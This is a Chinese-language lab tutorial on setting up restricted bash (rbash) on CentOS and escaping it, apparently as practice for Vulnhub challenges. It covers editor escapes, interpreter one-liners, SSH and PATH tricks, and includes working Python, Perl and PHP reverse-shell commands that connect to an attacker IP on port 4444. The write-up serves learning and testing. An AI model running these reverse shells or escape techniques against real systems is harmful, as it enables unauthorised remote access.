Linux rbash 限制绕过

最近在打 Vulnhub,遇到了 rbash 需要绕过。

看着方法也很多,怕以后也遇到,写篇文章总结一下。

本篇文章参考:

1 rbash 介绍

rbash(restricted bash):是一种受限制的 Unix / Linux shell 环境,它是 Bash Shell 的一种变体,旨在提供一种更安全的 Shell 环境,限制用户对系统的访问和操作权限。

当用户被分配了 rbash 作为其默认 Shell 时,他们将无法执行许多常见的操作,例如:更改当前工作目录、重定向输入 / 输出、使用某些命令或设置特定的环境变量。

rbash 通常用于限制用户的操作范围,以防止他们对系统进行未经授权的更改或访问敏感信息。

以下是一些 rbash 的特点和限制:

  • 无法更改当前工作目录:用户无法使用 cd 命令切换到其他目录,所以我们只能在当前目录下工作,其它目录都无法进入。
  • 限制输入 / 输出重定向:用户无法使用重定向操作符(如 >、>>、<)来更改命令的输入或输出。
  • 禁止设置或修改环境变量:用户无法设置或修改环境变量($PATH,$ENV,$HOME 或 $SHELL),这样可以限制对系统配置的更改。
  • 禁止使用特定命令:可以根据需要禁止用户执行特定的命令或指定的命令路径(能执行包含 / 字符的程序)。
  • 限制用户自定义函数:用户无法定义或修改自定义函数。

2 rbash 设置

实验环境:

  • OS:CentOS 7
  • IP:10.10.8.137

注:以下命令需以 root 用户身份运行。

2.1 rbash 使用

首先,在 bash 所在位置创建一个名为 rbash 的符号链接,命令如下:

1
2
3
[root@localhost ~]# ln -s /bin/bash /bin/rbash
[root@localhost ~]# ls -l /bin/rbash
lrwxrwxrwx. 1 root root 9 Nov 13 02:32 /bin/rbash -> /bin/bash

接下来,创建一个新用户,比如:yongz,并将默认 Shell 设置为 rbash 模式:

1
2
3
[root@localhost ~]# useradd yongz -s /bin/rbash
[root@localhost ~]# tail -n 1 /etc/passwd
yongz:x:1001:1001::/home/yongz:/bin/rbash

设置 yongz 用户密码:

1
2
3
4
5
[root@localhost ~]# passwd yongz
Changing password for user yongz.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.

在新用户的文件夹内创建一个 bin 目录:

1
2
3
[root@localhost ~]# mkdir /home/yongz/bin
[root@localhost ~]# ls -ld /home/yongz/bin
drwxr-xr-x. 2 root root 6 Nov 13 02:35 /home/yongz/bin

比如,我们允许用户仅运行 ls 、 mkdir 、和 ping 这三个命令。

当然,你还可以添加其它你允许用户运行的命令:

注:添加命令,其实就是给这个命令创建一个软件链接。

1
2
3
4
5
6
7
8
[root@localhost ~]# ln -s /bin/ls /home/yongz/bin/ls
[root@localhost ~]# ln -s /bin/mkdir /home/yongz/bin/mkdir
[root@localhost ~]# ln -s /bin/ping /home/yongz/bin/ping
[root@localhost ~]# ls -l /home/yongz/bin
total 0
lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls
lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping

这时大家应该明白了在前面的步骤中创建了 bin 目录的意图。

除了 bin 目录里的命令之外,用户是无法运行其它任何命令的。

编辑 /home/harry/.bash_profile 文件,将 bin 目录添加进去:

1
2
3
[root@localhost ~]# echo 'PATH=$HOME/bin' >> /home/yongz/.bash_profile
[root@localhost ~]# tail -n 1 /home/yongz/.bash_profile
PATH=$HOME/bin

现在,当用户登录时,默认 Shell 就是 Restricted Shell(rbash)模式,它在刚运行的时候就会读取 .bash_profile 文件,将系统 PATH 环境变量设置为文件中 $HOME/bin ,这样用户只能运行 ls,mkdir 和 ping 这三个命令。

在 Restricted Shell 模式下用户不允许更改 PATH 值,同时 .bash_profile 文件的权限也不允许修改,这样用户就不能通过更改环境来绕过限制。

2.2 结果验证

现在,我们注销当前用户,然后以新创建的用户(即 yongz)的身份重新登陆(建议重新连接,不要用 su 可能会有意外结果)。

现在我们随便运行一些命令,看看命令是否可以被执行:

1
2
[yongz@localhost ~]$ clear
-rbash: /usr/libexec/pk-command-not-found: restricted: cannot specify `/' in command names

报错了,只不过报错的内容和我想象的有一点不一样,Chat 回答如下:

1
2
3
4
这个错误信息是一个 Shell 错误,表明在执行命令时发生了问题。
这个错误信息指出,在执行命令时,命令名称中包含了/字符。在某些情况下,系统会限制在命令名称中使用 / 字符,以防止执行具有潜在危险的命令或破坏系统的操作。
/usr/libexec/pk-command-not-found 是一个用于处理命令未找到的辅助程序。当您输入一个在系统中不存在的命令时,它会尝试提供有关如何安装或获取所需命令的信息。
然而,在这种情况下,由于命令名称中包含了 / 字符,因此系统限制了对该程序的执行。

不管怎么说,确实不能运行了。

多试几个命令:

1
2
3
4
5
6
7
8
9
[yongz@localhost ~]$ cd .
-rbash: cd: restricted
[yongz@localhost ~]$ cat /etc/passwd
-rbash: /usr/libexec/pk-command-not-found: restricted: cannot specify `/' in command names
[yongz@localhost ~]$ cat .
-rbash: /usr/libexec/pk-command-not-found: restricted: cannot specify `/' in command names
[yongz@localhost ~]$ cat > 123
-rbash: 123: restricted: cannot redirect output
[yongz@localhost ~]$

查看命令执行路径与 Shell 环境:

1
2
3
4
[yongz@localhost ~]$ echo $PATH
/home/yongz/bin
[yongz@localhost ~]$ echo $0
-rbash

尝试修改路径:

1
2
[yongz@localhost ~]$ PATH=$PATH:/bin
-rbash: PATH: readonly variable

看来其它的命令真的是没办法使用了,那我们设置的允许新用户使用的三个命令,是否真的允许被运行?

我们再来试试确认一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[yongz@localhost ~]$ ls -l
total 0
drwxr-xr-x. 2 root root 41 Nov 13 02:37 bin
[yongz@localhost ~]$ mkdir demo
[yongz@localhost ~]$ ls -l
total 0
drwxr-xr-x. 2 root root 41 Nov 13 02:37 bin
drwxrwxr-x. 2 yongz yongz 6 Nov 13 02:52 demo
[yongz@localhost ~]$ ping -c 1 www.baidu.com
PING www.baidu.com (14.119.104.254) 56(84) bytes of data.
64 bytes from 14.119.104.254 (14.119.104.254): icmp_seq=1 ttl=128 time=18.5 ms

--- www.baidu.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 18.564/18.564/18.564/0.000 ms

正如我们所期待的一样,现在除了我们所设置的几个命令,新用户 yongz 无法执行其它任何命令。

3 rbash 绕过

在 rbash 的绕过中,需要枚举 linux 环境的信息,就像渗透测试中的信息收集,两者在各自的操作中起到了决定性的作用。

掌握的信息越多,绕过的方法就越多。

注:通常情况下有一个命令是绝对可以用的,那就是 ls,不然这个 rbash 真的一点意义都没有,纯恶心人。


根据 Raj Chandel 大佬的博客文章,可以将 rbash 绕过分为 6 个部分:

  • Bypass rbash using Editors:使用编辑器进行绕过

  • Bypass rbash using One liner:使用短小代码片段或命令进行绕过

  • Bypass rbash through Reverse Shell:通过反向 Shell 进行绕过

  • Bypass rbash using System binaries:使用系统二进制文件进行绕过

  • Bypass rbash using Expect:使用 Expect 进行绕过

  • Bypass rbash through SSH:通过 SSH 进行绕过

现在假设您已作为本地用户访问主机,并发现登录的用户是 rbash shell 的一部分,因此您无法运行某些系统命令。

例如: cd (更改目录),因为由于 rbash 它受到限制。

注:这里演示的均为无法使用 / 的情况。

3.1 检查 rbash 可用命令

可以一个命令一个命令的试,但显得有点笨,直接使用 echo 进行 PATH 查看:

注:

  • 在大多数 Linux 发行版中,echo 是一个内置的 Shell 命令,而不是一个独立的可执行文件。
  • 内置命令是由 Shell 解释器本身提供的,不需要在 $PATH 中查找对应的可执行文件。
1
2
[yongz@localhost ~]$ echo $PATH
/home/yongz/bin

通常情况下有一个命令是绝对可以用的,那就是 ls,看一看有什么命令:

1
2
3
4
5
[yongz@localhost ~]$ ls -l /home/yongz/bin
total 0
lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls
lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping

3.1.1 Editors

3.1.1.1 VI/VIM

由于没设置 VI / VIM 命令,这里设置一下:

注:VI 在大部分 Linux 中都是 VIM 的符号连接了。

在 root 用户下设置下:

1
[root@localhost ~]# ln -s /usr/bin/vim /home/yongz/bin/vim

在 yongz 用户下查看:

1
2
3
4
5
6
[yongz@localhost ~]$ ls /home/yongz/bin -l
total 0
lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls
lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping
lrwxrwxrwx. 1 root root 12 Nov 13 03:25 vim -> /usr/bin/vim

敲击 VIM 命令,打开 VIM 窗口,进入命令模式,输入如下内容设置变量:

1
:set shell=/bin/bash

之后再此进入命令模式,输入:

1
:shell

这时会退出 VIM 窗口,进入 Bash Shell:

1
2
3
4
5
6
[yongz@localhost ~]$ vim

bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
  • 查看当前 Shell:
1
2
[yongz@localhost ~]$ echo $0
/bin/bash

注:要执行其他命令还需要添加 PATH。

3.1.1.2 ed-editor

ed-editor(简称为 ed)是一个基于命令行的文本编辑器,最初在 1969 年由肯・汤普逊(Ken Thompson)开发。

ed 是 Unix 系统早期的标准编辑器,它被设计为一种简单而高效的文本编辑工具,适用于终端环境。

在 root 用户下设置下:

1
[root@localhost ~]# ln -s /usr/bin/ed /home/yongz/bin/ed

在 yongz 用户下查看:

1
2
3
4
5
6
[yongz@localhost ~]$ ls /home/yongz/bin -l
total 0
lrwxrwxrwx. 1 root root 11 Nov 13 03:46 ed -> /usr/bin/ed
lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls
lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping

敲击 ed 命令,打开 ed 输入如下命令:

1
2
3
4
5
6
7
8
[yongz@localhost ~]$ ed
!'/bin/bash'
bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ echo $0
/bin/bash

3.1.2 One liner

3.1.2.1 Python

在 root 用户下设置下:

1
[root@localhost ~]# ln -s /usr/bin/python /home/yongz/bin/python

在 yongz 用户下查看:

1
2
3
4
5
6
[yongz@localhost ~]$ ls /home/yongz/bin -l
total 0
lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls
lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping
lrwxrwxrwx. 1 root root 15 Nov 13 12:43 python -> /usr/bin/python

使用 Python 开启一个新的虚拟终端:

1
2
3
4
5
6
7
[yongz@localhost ~]$ python -c 'import pty;pty.spawn("/bin/bash")'
bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ echo $0
/bin/bash

下面这种也可以:

1
2
3
4
5
6
7
[yongz@localhost ~]$ python -c 'import os; os.system("/bin/bash")'
bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ echo $0
/bin/bash
3.1.2.2 Perl

在 root 用户下设置下:

1
[root@localhost ~]# ln -s /usr/bin/perl /home/yongz/bin/perl

在 yongz 用户下查看:

1
2
3
4
5
6
[yongz@localhost ~]$ ls /home/yongz/bin -l
total 0
lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls
lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root 13 Nov 13 12:48 perl -> /usr/bin/perl
lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping

使用 Perl 开启一个新的虚拟终端:

1
2
3
4
5
6
7
[yongz@localhost ~]$ perl -e 'system("/bin/bash")'
bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ echo $0
/bin/bash
3.1.2.3 PHP

默认不自带 php,安装一下:

1
2
3
4
5
[root@localhost ~]# yum install php -y
[root@localhost ~]# php -v
PHP 5.4.16 (cli) (built: Apr 1 2020 04:07:17)
Copyright (c) 1997-2013 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2013 Zend Technologies

在 root 用户下设置下:

1
[root@localhost ~]# ln -s /usr/bin/php /home/yongz/bin/php

在 yongz 用户下查看:

1
2
3
4
5
6
[yongz@localhost ~]$ ls /home/yongz/bin -l
total 0
lrwxrwxrwx. 1 root root 11 Nov 13 03:46 ed -> /usr/bin/ed
lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls
lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root 12 Nov 13 12:52 php -> /usr/bin/php

使用 php 开启一个新的虚拟终端:

1
2
3
4
5
6
7
8
[yongz@localhost ~]$ php -r 'exec("/bin/bash");'
bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ echo $0
[yongz@localhost ~]$ cd /tmp
[yongz@localhost tmp]$

虽然可以开启一个终端,但是环境是残疾的。

3.1.2.4 awk

在 root 用户下设置下:

1
[root@localhost ~]# ln -s /usr/bin/awk /home/yongz/bin/awk

在 yongz 用户下查看:

1
2
3
4
5
6
[yongz@localhost ~]$ ls /home/yongz/bin -l
total 0
lrwxrwxrwx. 1 root root 12 Nov 13 12:54 awk -> /usr/bin/awk
lrwxrwxrwx. 1 root root 11 Nov 13 03:46 ed -> /usr/bin/ed
lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls
lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir

使用 awk 开启一个新的虚拟终端:

1
2
3
4
5
6
7
[yongz@localhost ~]$ awk 'BEGIN {system("/bin/bash")}'
bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ echo $0
/bin/bash

3.1.3 Reverse Shell

3.1.3.1 Python

在攻击机中开启一个 nc 监听:

1
2
3
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...

在靶机中执行:

1
[yongz@localhost ~]$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.8.15",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

成功获取 Shell:

1
2
3
4
5
6
7
8
9
10
11
12
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.137: inverse host lookup failed: Unknown host
connect to [10.10.8.15] from (UNKNOWN) [10.10.8.137] 43396
bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ echo $0
echo $0
/bin/bash
3.1.3.2 Perl

在攻击机中开启一个 nc 监听:

1
2
3
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...

在靶机中执行:

1
[yongz@localhost ~]$ perl -e 'use Socket;$i="10.10.8.15";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};

成功获取 Shell:

1
2
3
4
5
6
7
8
9
10
11
12
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.137: inverse host lookup failed: Unknown host
connect to [10.10.8.15] from (UNKNOWN) [10.10.8.137] 43398
bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ echo $0
echo $0
/bin/bash
3.1.3.3 PHP

在攻击机中开启一个 nc 监听:

1
2
3
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...

在靶机中执行:

1
[yongz@localhost ~]$ php -r '$sock=fsockopen("10.10.8.15",4444);exec("/bin/bash <&3 >&3 2>&3");'

成功获取 Shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.137: inverse host lookup failed: Unknown host
connect to [10.10.8.15] from (UNKNOWN) [10.10.8.137] 43400
echo $0
/bin/bash
python -c 'import pty;pty.spawn("/bin/bash")'
bash: tty: command not found
bash: pkg-config: command not found
bash: /yum: No such file or directory
/usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ echo $0
echo $0
/bin/bash

3.1.4 System binaries

很少有人知道,一些系统二进制程序(例如 less、more、head、tail、man 等)对于绕过受限环境非常有用。

考虑这样一种情况,您在当前目录中有一个名为 passwd 的文件,并且只允许使用一些命令(例如 more 或 less)来读取日志。

注:这里我是没有复现成功,说是要需要关闭 / 符号的限制。

这里统一下内容,在 more、less、man 命令打开文件后,输入如下内容即可开启一个 Shell:

1
2
3
4
5
## 有 PATH 变量的情况下
! 'bash'

## 没有 PATH 变量的情况下
! '/bin/bash'

3.1.5 Expect

默认不自带 php,安装一下:

1
[root@localhost ~]# yum install expect -y

在 root 用户下设置下:

1
[root@localhost ~]# ln -s /usr/bin/expect /home/yongz/bin/expect

在 yongz 用户下查看:

1
2
3
4
5
6
[yongz@localhost ~]$ ls /home/yongz/bin -l
total 0
lrwxrwxrwx. 1 root root 15 Nov 13 14:00 expect -> /usr/bin/expect
lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls
lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping

通过在 rbash Shell 上执行以下命令,绕过受限环境:

1
2
3
4
5
expect1.1> spawn bash
spawn bash
couldn't execute "bash": no such file or directory
while executing
"spawn bash"

也没成功,我吐了,应该 PATH 限制了。

3.1.6 SSH

如果您知道属于 rbash Shell 的用户的 SSH 凭据,那么您可以使用以下命令和 SSH 来突破越狱并通过访问正确的 bash Shell 绕过 rbash:

1
2
3
4
5
6
7
8
9
10
11
12
root at kali in ~ 
$ ssh yongz@10.10.8.137 -p 22 -t "bash --noprofile"
The authenticity of host '10.10.8.137 (10.10.8.137)' can't be established.
ED25519 key fingerprint is SHA256:DvDXdimCNufU7uj/GsAY9uTAgtAkPZJpswsa1c/BSbE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.8.137' (ED25519) to the list of known hosts.
yongz@10.10.8.137's password:
[yongz@localhost ~]$ echo $0
bash
[yongz@localhost ~]$ echo $PATH
/usr/local/bin:/usr/bin

为什么呢?其实简单,在 CentOS 中,Login Shell 的配置文件加载是这样的:

  • /etc/profile
  • ~/.bash_profile
  • ~/.bashrc

使用 ssh -t 分配一个终端并忽略 ~/.bash_profile 文件加载。

4 rbash 绕过补充

4.1 BASH_CMDS

BASH_CMDS 是一个环境变量,用于存储当前正在执行的 Bash 命令的相关信息,它是 Bash shell 内部使用的变量。

当你在 Bash shell 中执行命令时,Bash 会将该命令及其相关信息存储在 BASH_CMDS 环境变量中。

定义一个环境变量:

注:这里以 DC-2 靶机为例,因为正常情况下 / 限制是无法执行的。

1
2
3
4
tom@DC-2:~$ BASH_CMDS[yz]=/bin/bash
tom@DC-2:~$ yz
tom@DC-2:~$ echo $0
yz

4.2 PATH 变量补充

刚刚所有的内容,PATH 都是被局限在了当前目录下:

1
2
[yongz@localhost ~]$ echo $PATH
/home/yongz/bin

这明显不行,因为我们还是没有什么命令可以执行,需要将 PATH 内容补齐(去 Kali 复制一个):

1
2
3
[yongz@localhost ~]$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:$PATH
[yongz@localhost ~]$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/yongz/bin

现在就随便咱操作了:

1
2
3
4
[yongz@localhost ~]$ id
uid=1001(yongz) gid=1001(yongz) groups=1001(yongz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[yongz@localhost ~]$ whoami
yongz